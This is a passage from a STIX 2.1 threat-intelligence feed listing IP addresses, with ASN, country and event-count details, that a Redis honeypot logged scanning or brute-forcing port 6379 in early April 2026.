      "type": "indicator",
      "valid_from": "2026-04-02T02:25:10.000Z",
      "valid_until": "2026-05-04T02:25:09.000Z"
    },
    {
      "created": "2026-04-02T03:25:16.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=136195; asn_org=Qingdao, Shandong Province, P.R.China.; redis_cmd_hits=0",
      "id": "indicator--479700b0-061f-4dd5-b0b7-372c097a7c1e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-02T03:25:16.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '182.40.103.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T03:25:16.000Z",
      "valid_until": "2026-05-04T03:25:09.000Z"
    },
    {
      "created": "2026-04-02T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--73e04678-7410-4884-8d9a-3d7762d04248",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-02T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.198.171.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T05:25:10.000Z",
      "valid_until": "2026-05-04T05:25:09.000Z"
    },
    {
      "created": "2026-04-02T07:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=19; ports=6379; cc=US; asn=20473; asn_org=The Constant Company, LLC; redis_cmds=INFO modules; redis_cmd_hits=0",
      "id": "indicator--4af4e26b-afac-4348-9195-f2c8dc47ed69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T07:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '140.82.9.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T07:25:11.000Z",
      "valid_until": "2026-05-04T07:25:09.000Z"
    },
    {
      "created": "2026-04-02T07:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--87d04782-de54-41a1-a0ee-39c151f1acfd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T07:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '39.108.96.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T07:25:11.000Z",
      "valid_until": "2026-05-04T07:25:09.000Z"
    },
    {
      "created": "2026-04-02T08:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--95fdf8f2-285e-4266-b59d-7f252f019f9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T08:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '57.152.33.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T08:25:11.000Z",
      "valid_until": "2026-05-04T08:25:09.000Z"
    },
    {
      "created": "2026-04-02T08:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--4dbcc8e3-a6b8-4bfb-a7df-77516d36d539",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T08:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T08:25:11.000Z",
      "valid_until": "2026-05-04T08:25:09.000Z"
    },
    {
      "created": "2026-04-02T08:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--9045821b-982c-4b45-acc9-4f0722e124ec",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-02T08:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T08:25:11.000Z",
      "valid_until": "2026-05-04T08:25:09.000Z"
    },
    {
      "created": "2026-04-02T10:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=US; asn=202425; asn_org=IP Volume inc; redis_cmd_hits=0",
      "id": "indicator--5857159d-0396-49df-8d41-fb4a48358d29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T10:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T10:25:11.000Z",
      "valid_until": "2026-05-04T10:25:09.000Z"
    },
    {
      "created": "2026-04-02T11:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=CN; asn=56042; asn_org=China Mobile communications corporation; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--2edd28f9-b6aa-4f8d-ab61-4ea4638332f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T11:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '221.180.47.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T11:25:04.000Z",
      "valid_until": "2026-05-04T11:25:02.000Z"
    },
    {
      "created": "2026-04-02T12:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=25; ports=6379; cc=SG; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--91a06d74-53c2-4ed8-96f9-c54cae6c63b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T12:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '8.219.222.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T12:25:09.000Z",
      "valid_until": "2026-05-04T12:25:04.000Z"
    },
    {
      "created": "2026-04-02T12:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=8; ports=6379; cc=RO; asn=204428; asn_org=SS-Net; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--04a8387f-61ea-48d8-974f-b9dd09f40661",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T12:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T12:25:09.000Z",
      "valid_until": "2026-05-04T12:25:04.000Z"
    },
    {
      "created": "2026-04-02T13:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=1; ports=6379; cc=AU; asn=63949; asn_org=Akamai Connected Cloud; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--afbb2818-1215-4df4-bc60-2174992cc157",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-02T13:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.105.186.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T13:25:11.000Z",
      "valid_until": "2026-05-04T13:25:09.000Z"
    },
    {
      "created": "2026-04-02T14:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--66b9d799-cf16-40ad-ad66-8490b7b3a0f3",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-02T14:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T14:25:06.000Z",
      "valid_until": "2026-05-04T14:25:04.000Z"
    },
    {
      "created": "2026-04-02T14:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--811359b6-ae27-4843-9545-88d9a92dcb29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T14:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T14:25:06.000Z",
      "valid_until": "2026-05-04T14:25:04.000Z"
    },
    {
      "created": "2026-04-02T16:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=141998; asn_org=China Telecom; redis_cmd_hits=0",
      "id": "indicator--5dbe1268-4f10-4bcd-aa4f-ea2a6a33e027",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T16:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '125.74.55.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T16:25:11.000Z",
      "valid_until": "2026-05-04T16:25:09.000Z"
    },
    {
      "created": "2026-04-02T16:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=EC; asn=27947; asn_org=Telconet S.A; redis_cmd_hits=0",
      "id": "indicator--43431d1b-3d32-4b9b-b618-a6d4ca45f6a8",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-02T16:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '186.3.217.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T16:25:11.000Z",
      "valid_until": "2026-05-04T16:25:09.000Z"
    },
    {
      "created": "2026-04-02T16:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=26496; asn_org=GoDaddy.com, LLC; redis_cmd_hits=0",
      "id": "indicator--27f8887f-3c48-4e2b-8be7-83983c6d4ca1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T16:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '97.74.92.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T16:25:11.000Z",
      "valid_until": "2026-05-04T16:25:09.000Z"
    },
    {
      "created": "2026-04-02T17:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=VN; asn=63760; asn_org=AZDIGI Corporation; redis_cmd_hits=0",
      "id": "indicator--5c0be79d-f040-4458-a636-b7bdd0dec4bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T17:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.221.220.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T17:25:11.000Z",
      "valid_until": "2026-05-04T17:25:09.000Z"
    },
    {
      "created": "2026-04-02T17:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--7a451679-7459-4e82-b526-bdbb30c402e1",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-02T17:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '106.13.45.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T17:25:11.000Z",
      "valid_until": "2026-05-04T17:25:09.000Z"
    },
    {
      "created": "2026-04-02T18:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=SG; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--33a68e96-b0cd-441d-9b55-d16078327ebd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T18:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '139.162.47.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T18:25:06.000Z",
      "valid_until": "2026-05-04T18:25:05.000Z"
    },
    {
      "created": "2026-04-02T18:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=UA; asn=201094; asn_org=Mulgin Alexander Sergeevich; redis_cmd_hits=0",
      "id": "indicator--795a57cb-2d2d-4e1d-848a-23951d6c1e7f",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-02T18:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.129.98.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T18:25:06.000Z",
      "valid_until": "2026-05-04T18:25:05.000Z"
    },
    {
      "created": "2026-04-02T20:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=11; ports=6379; cc=CN; asn=58519; asn_org=Cloud Computing Corporation; redis_cmd_hits=0",
      "id": "indicator--3aefed46-f5c1-4d75-a2e4-fd9be341e368",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-02T20:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '140.246.124.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T20:25:11.000Z",
      "valid_until": "2026-05-04T20:25:09.000Z"
    },
    {
      "created": "2026-04-02T20:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--79241d90-9a2d-4a53-bab8-43016e51a699",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-02T20:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '150.158.97.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T20:25:11.000Z",
      "valid_until": "2026-05-04T20:25:09.000Z"
    },
    {
      "created": "2026-04-02T21:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=17621; asn_org=China Unicom Shanghai network; redis_cmd_hits=0",
      "id": "indicator--319cf0ed-9adb-4c9f-9624-7d2cea07e0e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T21:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '106.75.241.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T21:25:12.000Z",
      "valid_until": "2026-05-04T21:25:10.000Z"
    },
    {
      "created": "2026-04-02T21:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=IN; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--83f4460b-c834-4ce0-8a71-7dbd79c31c0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T21:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.110.246.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T21:25:12.000Z",
      "valid_until": "2026-05-04T21:25:10.000Z"
    },
    {
      "created": "2026-04-03T01:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=137718; asn_org=Beijing Volcano Engine Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--f3145607-ab78-4c4e-9722-4d8be2766a10",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T01:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '115.190.15.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T01:25:11.000Z",
      "valid_until": "2026-05-05T01:25:09.000Z"
    },
    {
      "created": "2026-04-03T01:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=56046; asn_org=China Mobile communications corporation; redis_cmd_hits=0",
      "id": "indicator--3774f2cb-c02f-4506-8fa9-2c9d1b02b361",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T01:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '36.139.84.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T01:25:11.000Z",
      "valid_until": "2026-05-05T01:25:09.000Z"
    },
    {
      "created": "2026-04-03T01:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--bb0afc63-7e8a-4ef7-89c7-ea123c581c68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T01:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T01:25:11.000Z",
      "valid_until": "2026-05-05T01:25:09.000Z"
    },
    {
      "created": "2026-04-03T01:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--4d9c2091-704a-482c-9f50-45a6c5f77654",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T01:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T01:25:11.000Z",
      "valid_until": "2026-05-05T01:25:09.000Z"
    },
    {
      "created": "2026-04-03T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=KE; asn=36914; asn_org=Kenya Education Network; redis_cmd_hits=0",
      "id": "indicator--a934b79b-0d51-42cf-83d0-eb784cf43673",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '41.89.92.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T02:25:10.000Z",
      "valid_until": "2026-05-05T02:25:09.000Z"
    },
    {
      "created": "2026-04-03T03:25:28.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--9fe37510-09c4-4ada-b9e2-e0f65afa940b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T03:25:28.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '192.81.131.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T03:25:28.000Z",
      "valid_until": "2026-05-05T03:25:09.000Z"
    },
    {
      "created": "2026-04-03T04:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--54174b0a-e8c5-4ee1-a5d3-5e6342b1c21d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T04:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '137.184.63.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T04:25:12.000Z",
      "valid_until": "2026-05-05T04:25:10.000Z"
    },
    {
      "created": "2026-04-03T04:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--b6f8cae2-06d9-4af4-a7ed-ed89146649b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T04:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.68.58.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T04:25:12.000Z",
      "valid_until": "2026-05-05T04:25:10.000Z"
    },
    {
      "created": "2026-04-03T04:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=SC; asn=49870; asn_org=Alsycon B.V.; redis_cmd_hits=0",
      "id": "indicator--ad1af1cd-644a-44c8-a053-e6098af6b5bf",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T04:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T04:25:12.000Z",
      "valid_until": "2026-05-05T04:25:10.000Z"
    },
    {
      "created": "2026-04-03T04:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=103; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode,Misc activity; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0; cmd=\"SSH-2.0-Go  \"",
      "id": "indicator--cbae1715-03f1-4b03-9c28-42ca1b21b690",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T04:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '18.218.118.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T04:25:12.000Z",
      "valid_until": "2026-05-05T04:25:10.000Z"
    },
    {
      "created": "2026-04-03T05:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--8f155738-3760-40b0-9dd4-82781b3b084e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T05:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '106.55.63.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:25:11.000Z",
      "valid_until": "2026-05-05T05:25:09.000Z"
    },
    {
      "created": "2026-04-03T05:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=135089; asn_org=China Telecom; redis_cmd_hits=0",
      "id": "indicator--1a456dab-2fc6-46c4-b000-96f6fbff7118",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T05:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '183.56.243.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:25:11.000Z",
      "valid_until": "2026-05-05T05:25:09.000Z"
    },
    {
      "created": "2026-04-03T06:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--1badad10-6d46-43b9-8cc9-c6054907ff25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T06:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '135.237.126.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T06:25:11.000Z",
      "valid_until": "2026-05-05T06:25:09.000Z"
    },
    {
      "created": "2026-04-03T06:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--434bc7d3-3a23-4c20-abcc-0f017ebf5e57",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-03T06:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '61.240.139.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T06:25:11.000Z",
      "valid_until": "2026-05-05T06:25:09.000Z"
    },
    {
      "created": "2026-04-03T07:25:11.000Z",
